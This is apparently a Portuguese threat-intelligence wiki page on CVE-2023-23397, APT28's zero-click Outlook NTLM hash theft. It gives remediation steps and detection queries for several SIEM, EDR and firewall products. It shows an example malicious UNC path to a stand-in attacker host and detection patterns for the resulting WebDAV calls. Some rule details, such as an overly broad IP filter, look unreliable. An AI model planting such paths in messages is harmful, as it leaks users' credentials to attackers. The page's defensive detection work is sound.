# CVE-2023-23397 - Microsoft Outlook NTLM Hash Theft (Zero-Click)
Vulnerabilidade crítica zero-click no [[Microsoft Outlook]] para Windows que permite roubo de credenciais NTLM sem qualquer interação do usuário. Explorada ativamente pelo [[g0007-apt28|APT28]] (Fancy Bear) em operações de espionagem antes mesmo da divulgação pública, tornando-se uma das CVEs mais significativas de 2023.
## Descrição Técnica
A falha explora o suporte do Outlook a arquivos de som de lembrete personalizados (propriedade `PidLidReminderFileParameter`). Quando um email ou convite de calendário malicioso é recebido, o Outlook tenta acessar automaticamente o caminho UNC específicado para o arquivo de som - sem que o usuário abra ou interaja com a mensagem.
O processo:
1. Atacante envia email/convite com caminho UNC malicioso: `\\atacante.com\share\arquivo.wav`
2. Ao receber (não abrir), o Outlook faz autenticação NTLM automática contra o servidor do atacante
3. Atacante captura o hash NTLMv2 do usuário
4. Hash é utilizado em ataques Pass-the-Hash ou quebrado offline
- **Exploração**: Zero-click - ocorre ao receber o email, sem abrir
- **Resultado**: Hash NTLMv2 da vítima
- **Pós-exploração**: Movimento lateral, acesso a sistemas corporativos
## Visão Geral
{Conteúdo a ser adicionado.}
## Attack Flow
```mermaid
graph TB
A["📡 Preparação<br/>APT28 configura servidor SMB<br/>controlado para captura NTLM"] --> B["💥 Envio de Email Malicioso<br/>Convite de calendário com UNC<br/>path em PidLidReminderFileParameter"]
B --> C["🔑 Captura Zero-Click<br/>Outlook processa lembrete e<br/>autentica NTLM automaticamente"]
C --> D["🔑 Hash NTLMv2 Capturado<br/>Credencial enviada ao servidor<br/>do atacante sem interação"]
D --> E["🔗 Pass-the-Hash<br/>Hash reutilizado para acesso<br/>a sistemas corporativos"]
E --> F["📤 Movimento Lateral<br/>Acesso a Exchange, SharePoint<br/>e recursos de rede internos"]
```
## Exploração pelo APT28
O [[g0007-apt28|APT28]] (também conhecido como Fancy Bear, STRONTIUM) explorou esta vulnerabilidade contra alvos na Europa e países membros da OTAN, com início estimado em 2022 - meses antes do patch. Alvos incluíam:
- Organizações governamentais
- Empresas do setor de defesa
- Infraestrutura crítica ligada à Ucrânia
A exploração pelo APT28 foi documentada pela Microsoft MSRC e pela CERT-UA (Ucrânia). Esta CVE foi incorporada à campanha [[operation-pawn-storm|Operation Pawn Storm]] e operações subsequentes de [[Targeting Western Logistics 2024-2025]].
## Mitigação Adicional
Mesmo após o patch, organizações devem:
- Bloquear tráfego SMB/NetBIOS de saída (portas 445/139) no perímetro
- Desabilitar autenticação NTLM onde possível, preferindo Kerberos
- Implementar monitoramento para autenticações NTLM anômalas
## Relevância LATAM/Brasil
> [!latam] Impacto Regional
> O Microsoft Outlook domina os ambientes corporativos brasileiros, sendo a ferramenta de email padrão em práticamente todos os setores. Empresas dos setores **financeiro**, **governo** e **telecomúnicações** foram alertadas pelo CERT.br sobre a necessidade de patching urgente.
>
> A exploração zero-click torna esta vulnerabilidade especialmente perigosa em ambientes com baixa cultura de patching - cenário comum em organizações públicas brasileiras e empresas de médio porte. Como não requer interação do usuário (o ataque ocorre ao receber o email, sem abri-lo), treinamentos de conscientização sobre phishing são ineficazes contra este vetor.
>
> O Brasil possui uma das maiores bases instaladas de Microsoft 365 na América Latina, com milhões de caixas de correio Outlook em organizações governamentais, bancos, seguradoras e empresas de energia. A dependência de autenticação NTLM em ambientes Windows corporativos brasileiros - muitos ainda sem migração completa para Kerberos - amplifica significativamente o risco de ataques Pass-the-Hash derivados desta vulnerabilidade.
## Remediação
1. **Aplicar** o patch do Patch Tuesday de março de 2023 imediatamente
2. **Bloquear** saída SMB (TCP 445) no firewall perimetral
3. **Adicionar** usuários ao grupo "Protected Users" no Active Directory
4. **Monitorar** tentativas de autenticação NTLM contra hosts externos
5. **Verificar** logs de Exchange/Outlook para emails com propriedades de lembrete incomuns
## Referências
- [Microsoft MSRC Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [MDSec Technical Analysis](https://www.mdsec.co.uk/2023/03/exploiting-CVE-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/)
- [CERT-UA Alert](https://cert.gov.ua/)
## Relações
- Explorada por: [[g0007-apt28|APT28]]
- Parte de: [[operation-pawn-storm|Operation Pawn Storm]], [[Targeting Western Logistics 2024-2025]]
- Técnica: [[t1550-002-pass-the-hash|T1550.002 - Pass the Hash]]
- Técnica de acesso inicial: [[t1566-001-spearphishing-attachment|T1566.001 - Spearphishing Attachment]]
- Afeta setor: [[government]], [[defense]], [[financial]]
- Corrigida no: Patch Tuesday março 2023
---
## Detecção e Resposta
> [!warning] Aviso sobre as regras abaixo
> As regras e consultas a seguir são **exemplos e pontos de partida**. Devem ser revisadas,
> testadas e adaptadas ao seu ambiente específico antes de serem implantadas em produção.
> Falsos positivos e negativos são esperados - tuning contínuo é necessário. Valide sempre
> contra sua telemetria antes de ativar alertas.
### Splunk SPL
```spl
index=windows (sourcetype=WinEventLog:Security OR sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational)
(EventCode=4688 OR EventCode=1)
process_name="rundll32.exe"
cmdline="*davclnt.dll*DavSetCookie*"
| regex cmdline="((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
| eval ip_extraida=replace(cmdline, ".*DavSetCookie\s+([\d\.]+).*", "\1")
| eval isLocal=if((cidrmatch("192.168.0.0/16",ip_extraida) OR cidrmatch("10.0.0.0/8",ip_extraida) OR cidrmatch("172.16.0.0/12",ip_extraida)),"internal","external")
| search isLocal="external"
| table _time, host, user, process_name, cmdline, ip_extraida
```
Complementar - conexões SMB de saída do OUTLOOK.EXE para hosts externos:
```spl
index=windows sourcetype=WinEventLog:Security EventCode=5156
Application_Name="*\\OUTLOOK.EXE"
Destination_Port=445
| eval isLocal=if((cidrmatch("192.168.0.0/16",Destination_Address) OR cidrmatch("10.0.0.0/8",Destination_Address) OR cidrmatch("172.16.0.0/12",Destination_Address)),"internal","external")
| search isLocal="external"
| table _time, host, user, Application_Name, Destination_Address, Destination_Port
```
Fonte de dados requerida: Windows Security Event Log (EventID 4688, 5156, 4648), Sysmon (EventID 1, 3)
### Microsoft Sentinel (KQL)
```kql
// Detecta rundll32.exe com davclnt.dll DavSetCookie apontando para IP externo - CVE-2023-23397
union isfuzzy=true
(
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has_all ("davclnt.dll", "DavSetCookie")
| extend IPAddress = extract(@"DavSetCookie\s+([\d\.]+)", 1, ProcessCommandLine)
| where isnotempty(IPAddress)
| where not(ipv4_is_private(IPAddress))
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, IPAddress, InitiatingProcessFileName
),
(
SecurityEvent
| where TimeGenerated > ago(14d)
| where EventID == 4688
| where Process =~ "rundll32.exe"
| where CommandLine has_all ("davclnt.dll", "DavSetCookie")
| extend IPAddress = extract(@"DavSetCookie\s+([\d\.]+)", 1, CommandLine)
| where isnotempty(IPAddress)
| where not(ipv4_is_private(IPAddress))
| project TimeGenerated, Computer, Account, Process, CommandLine, IPAddress
)
| order by TimeGenerated desc
```
Tabela(s): `DeviceProcessEvents`, `SecurityEvent`, `DeviceNetworkEvents`
### Sigma Rule
```yaml
title: Detect CVE-2023-23397 - Outlook NTLM Hash Theft via UNC Path
id: 9f4a2c1e-7b83-4e56-a987-cd3456789012
status: experimental
description: >
Detecta exploração de CVE-2023-23397 - roubo zero-click de hash NTLMv2 via Outlook.
O Outlook processa convites de calendário com caminho UNC malicioso na propriedade
PidLidReminderFileParameter, triggering autenticação NTLM automática para host externo.
Indicador primário: rundll32.exe executando davclnt.dll,DavSetCookie com IP externo.
references:
- [[t1557-001-llmnrnbt-ns-poisoning-and-smb-relay]]
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
- https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-CVE-2023-23397/
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\rundll32.exe'
CommandLine|contains|all:
- 'davclnt.dll'
- 'DavSetCookie'
filter_internal:
CommandLine|re: 'DavSetCookie\s+(192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.)'
condition: selection and not filter_internal
falsepositives:
- Compartilhamentos WebDAV legítimos acessados via Outlook com IPs internos
- Ferramentas de colaboração que usam WebDAV internamente
level: high
tags:
- attack.credential_access
- attack.t1557.001
- attack.lateral_movement
- attack.t1550.002
- cve.2023-23397
```
### EDR
#### CrowdStrike Falcon
Custom IOA Rule (Behavioral):
Não há IOA público específico para CVE-2023-23397 no CrowdStrike. Recomendação: monitorar no Falcon console por `ParentBaseFileName: OUTLOOK.EXE` com descendente `rundll32.exe` e `CommandLine: *DavSetCookie*`. Ativar auditoria de "Outbound NTLM traffic to remote servers" via Group Policy para complementar.
Threat Graph Query (Falcon Data Replicator):
```
#event_simpleName=ProcessRollup2
| FileName=rundll32.exe
| CommandLine=*davclnt.dll*DavSetCookie*
| CommandLine!=*192.168.*
| CommandLine!=*10.*
| groupBy([aid, FileName, CommandLine, UserName, ComputerName])
```
#### SentinelOne
Deep Visibility Query:
```
TgtProcName = "rundll32.exe" AND
TgtProcCmdLine ContainsCIS "davclnt.dll" AND
TgtProcCmdLine ContainsCIS "DavSetCookie"
```
Complementar - conexões de saída do Outlook para porta 445:
```
SrcProcName = "OUTLOOK.EXE" AND
NetworkPort = 445 AND
DstIPv4 NOT In ("192.168.0.0/16", "10.0.0.0/8", "172.16.0.0/12")
```
#### Microsoft Defender for Endpoint (MDE)
Advanced Hunting (KQL):
```kql
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has_all ("davclnt.dll", "DavSetCookie")
| extend IPAddress = extract(@"DavSetCookie\s+([\d\.]+)", 1, ProcessCommandLine)
| where isnotempty(IPAddress)
| where not(ipv4_is_private(IPAddress))
| project Timestamp, DeviceName, AccountName, FileName,
ProcessCommandLine, IPAddress, InitiatingProcessFileName
| order by Timestamp desc
```
### Firewall / Network
#### Palo Alto Networks (PAN-OS)
Criar regra de Security Policy bloqueando tráfego SMB (TCP 445) e NetBIOS (TCP 139) de saída para IPs externos a partir de workstations de usuários. Esta é a mitigação mais eficaz para CVE-2023-23397 - impede que o hash NTLMv2 seja transmitido ao servidor do atacante.
App-ID / Threat ID relevante: `msrpc-base`, `smb` - bloquear em direção à internet para todas as zonas internas.
#### Fortinet FortiGate
Criar firewall policy bloqueando tráfego SMB (porta 445) e NetBIOS (porta 139) de saída de workstations para destinos externos. Habilitar IPS com proteção contra "NTLM Relay" e "SMB Authentication Capture".
IPS Signature: `MS.Outlook.CVE-2023-23397.NTLM.Hash.Theft` - verificar disponibilidade no FortiGuard Labs. Como alternativa, criar sensor IPS personalizado detectando conexões SMB outbound de processos de email.